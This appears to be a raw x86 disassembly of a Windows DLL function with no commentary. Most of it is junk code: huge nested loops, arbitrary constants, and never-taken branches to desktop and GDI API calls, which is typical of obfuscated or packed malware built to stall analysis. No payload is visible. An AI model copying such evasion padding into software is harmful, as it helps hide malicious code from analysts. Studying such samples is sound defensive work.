mov dword [ebp - 0xc70], eax
mov dword [ebp - 0xa08], 0x7a00
mov dword [ebp - 0xbe0], str.hbyyn_rheciqw_kbduygxm_cpsxqukf_swn_jug_hsjy_sqlewshhj_irusvly_bgeuhlcan_dcxczyuub
cmp dword [ebp - 0xa08], 0x7b19
jle 0x10010260
and dword [ebp - 0x364], 0
jmp 0x1001016e
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x717c
jge 0x10010260
and dword [ebp - 0x36c], 0
jmp 0x10010194
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x3667
jge 0x1001025b
and dword [ebp - 0x354], 0
jmp 0x100101ba
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0x35ad
jge 0x10010256
and dword [ebp - 0x35c], 0
jmp 0x100101e0
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0x2735
jge 0x10010251
mov eax, dword [ebp - 0x354]
add eax, dword [ebp - 0x35c]
mov ecx, dword [ebp - 0x364]
sub ecx, dword [ebp - 0x36c]
and eax, ecx
cdq
mov dword [ebp - 0xda0], eax
mov dword [ebp - 0xd9c], edx
push dword [ebp - 0xd9c]
push dword [ebp - 0xda0]
lea ecx, [ebp - 0x1368]
call fcn.10001a11
pop ecx
pop ecx
mov dword [ebp - 0xbd8], eax
mov ecx, dword [ebp - 0xbd8]
call fcn.10001c7b
push eax
call fcn.1003e6f6
pop ecx
lea ecx, [ebp - 0x1368]
call fcn.10001c71
jmp 0x100101d3
jmp 0x100101ad
jmp 0x10010187
jmp 0x10010161
mov dword [ebp - 4], 0x2a
cmp dword [ebp - 0xa08], 0x76cc
jge 0x1001027f
push dword [ebp - 0xbe0]
call fcn.1003e6f6
pop ecx
jmp 0x1001029b
or dword [ebp - 4], 0xffffffff
jmp 0x100102a5
mov dword [ebp - 0x37c], 0xf5540d7f
mov dword [ebp - 0x10fc], 0xffffffff
mov dword [ebp - 0xc10], 0x21ec2184
mov dword [ebp - 0x1080], 0xb81eca6c
mov dword [ebp - 0xa20], 0xf5ebec5
mov dword [ebp - 0x1104], 0xb2c593c8
mov dword [ebp - 0xbe8], 0xb4b5a9ce
mov dword [ebp - 0xf14], 7
mov dword [ebp - 0xf10], 7
mov dword [ebp - 0xf0c], 7
mov dword [ebp - 0xf08], 7
mov dword [ebp - 0xc08], 8
mov dword [ebp - 0xc20], 0xee6ee3e4
mov dword [ebp - 0x374], 0
jmp 0x10010340
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 1
jge 0x1001035c
mov eax, dword [ebp - 0x374]
mov dword [ebp + eax*4 - 0xa50], 0xd28e
jmp 0x10010333
mov dword [ebp - 0x37c], 0
jmp 0x10010375
mov eax, dword [ebp - 0x37c]
dec eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0xfffffff0
je 0x100105e2
mov dword [ebp - 0xbf8], 0x7ea0d018
mov dword [ebp - 0xa40], 0xf88039d6
mov dword [ebp - 0xc18], 0x314af12a
mov dword [ebp - 0xc28], 0xffffffff
mov dword [ebp - 0x1090], 0xcca69919
mov dword [ebp - 0x34], 0
jmp 0x100103c4
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x100103da
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x49c], 5
jmp 0x100103bd
mov dword [ebp - 0x34], 0
jmp 0x100103ea
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x10010400
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xffc], 0xffffffff
jmp 0x100103e3
mov dword [ebp - 0x34], 0
jmp 0x10010410
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x10010426
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xa10], 0x85fc
jmp 0x10010409
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x49c]
mov dword [ebp - 0x110c], eax
xor eax, eax
jne 0x10010567
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa10]
dec eax
mov dword [ebp - 0xa18], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa18]
mov dword [ebp + eax - 0xa10], ecx
mov eax, dword [ebp - 0xa18]
mov dword [ebp - 0xa20], eax
mov eax, dword [ebp - 0xa20]
cmp eax, dword [ebp - 0xbe8]
jl 0x1001048e
mov dword [ebp - 0xbf0], 1
jmp 0x10010495
and dword [ebp - 0xbf0], 0
mov eax, dword [ebp - 0xbf8]
mov dword [ebp - 0x10a0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x49c], 1
jg 0x100104cd
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xf14], 0
je 0x100104cd
mov dword [ebp - 0xc00], 1
jmp 0x100104d4
and dword [ebp - 0xc00], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa50]
cmp eax, dword [ebp - 0xc08]
jge 0x100104f5
mov dword [ebp - 0xa28], 1
jmp 0x100104fc
and dword [ebp - 0xa28], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa28]
sub ecx, dword [ebp + eax - 0xffc]
cmp ecx, dword [ebp - 0xc10]
je 0x10010523
mov dword [ebp - 0xa30], 1
jmp 0x1001052a
and dword [ebp - 0xa30], 0
cmp dword [ebp - 0xa30], 0x5a60
jne 0x10010542
mov dword [ebp - 0xa38], 1
jmp 0x10010549
and dword [ebp - 0xa38], 0
mov eax, dword [ebp - 0xa38]
mov dword [ebp - 0xa40], eax
cmp dword [ebp - 0xa40], 0xfffffffe
jge 0x10010567
and dword [ebp - 0xa48], 0
jmp 0x10010571
mov dword [ebp - 0xa48], 1
mov eax, dword [ebp - 0xc18]
imul eax, dword [ebp - 0xa48]
cmp eax, dword [ebp - 0xc20]
jne 0x10010592
mov dword [ebp - 0xa58], 1
jmp 0x10010599
and dword [ebp - 0xa58], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa50]
cmp dword [ebp - 0xa58], eax
jle 0x100105c7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x49c], 0
jne 0x100105c7
and dword [ebp - 0xa60], 0
jmp 0x100105d1
mov dword [ebp - 0xa60], 1
mov eax, dword [ebp - 0xa60]
mov dword [ebp - 0xc28], eax
jmp 0x10010368
mov eax, dword [ebp - 0xc30]
mov dword [ebp - 0xc68], eax
mov dword [ebp - 0x1dc], 0x3ae35568
mov dword [ebp - 0xc38], 0xc61c
mov dword [ebp - 0xa70], 0x7182
mov dword [ebp - 0x4a4], 1
mov dword [ebp - 0x4e8], 1
mov dword [ebp - 0x1dc], 0xfffffff2
jmp 0x10010639
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0xf
jne 0x10010819
mov dword [ebp - 0xc50], 0x86d6
mov dword [ebp - 0x384], 0
jmp 0x10010669
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 3
jge 0x10010685
mov eax, dword [ebp - 0x384]
mov dword [ebp + eax*4 - 0xe58], 0xffffffff
jmp 0x1001065c
cmp dword [ebp - 0xc38], 0
jne 0x1001069a
mov dword [ebp - 0xc40], 1
jmp 0x100106a1
and dword [ebp - 0xc40], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xe58], 1
jb 0x100106bc
mov dword [ebp - 0xa68], 1
jmp 0x100106c3
and dword [ebp - 0xa68], 0
mov dword [ebp - 0xa70], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe58]
mov dword [ebp - 0x4a4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa68]
sub ecx, dword [ebp - 0x4a4]
imul ecx, dword [ebp + eax - 0xe58]
cmp dword [ebp - 0xa70], ecx
jle 0x1001070e
mov dword [ebp - 0xc48], 1
jmp 0x10010715
and dword [ebp - 0xc48], 0
cmp dword [ebp - 0x4a4], 0x8cae2fe8
jne 0x1001072d
mov dword [ebp - 0x4dc], 1
jmp 0x10010734
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0xc50]
cmp dword [ebp - 0x4dc], eax
jg 0x1001074e
mov dword [ebp - 0x4e0], 1
jmp 0x10010755
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x4e8], 0
je 0x1001077d
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x1001077d
mov dword [ebp - 0xc58], 1
jmp 0x10010784
and dword [ebp - 0xc58], 0
mov eax, dword [ebp - 0x1dc]
mov dword [ebp - 0x1114], eax
mov eax, 0x72c02a30
test eax, eax
je 0x100107d2
mov byte [ebp - 0x10a], 0
movzx eax, byte [ebp - 0x10a]
test eax, eax
je 0x100107d0
push 0xe10
push 0
push 0x19e0
push 0x1fbc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
jmp 0x100107ee
mov dword [ebp - 0xc60], 0x63d62a04
mov eax, dword [ebp - 0xc60]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xe58], eax
mov byte [ebp - 0x15a], 0
movzx eax, byte [ebp - 0x15a]
test eax, eax
je 0x10010814
push 0x3f5
push 0
push 0x10c3
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
jmp 0x1001062c
push dword [ebp - 0xc68]
push dword [ebp - 0xc70]
call dword [0x10070aa4]
mov dword [ebp - 0xc78], eax
mov eax, dword [ebp - 0xc78]
jmp 0x100108b2
mov dword [ebp - 0x38c], 0
jmp 0x10010852
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 1
jge 0x1001086e
mov eax, dword [ebp - 0x38c]
mov dword [ebp + eax*4 - 0x111c], 0x8d327cb3
jmp 0x10010845
mov byte [ebp - 0x101], 0
movzx eax, byte [ebp - 0x101]
test eax, eax
je 0x10010896
push 0
push 0
push 0x15be
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
mov byte [ebp - 0x15c], 0
movzx eax, byte [ebp - 0x15c]
test eax, eax
je 0x100108b0
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret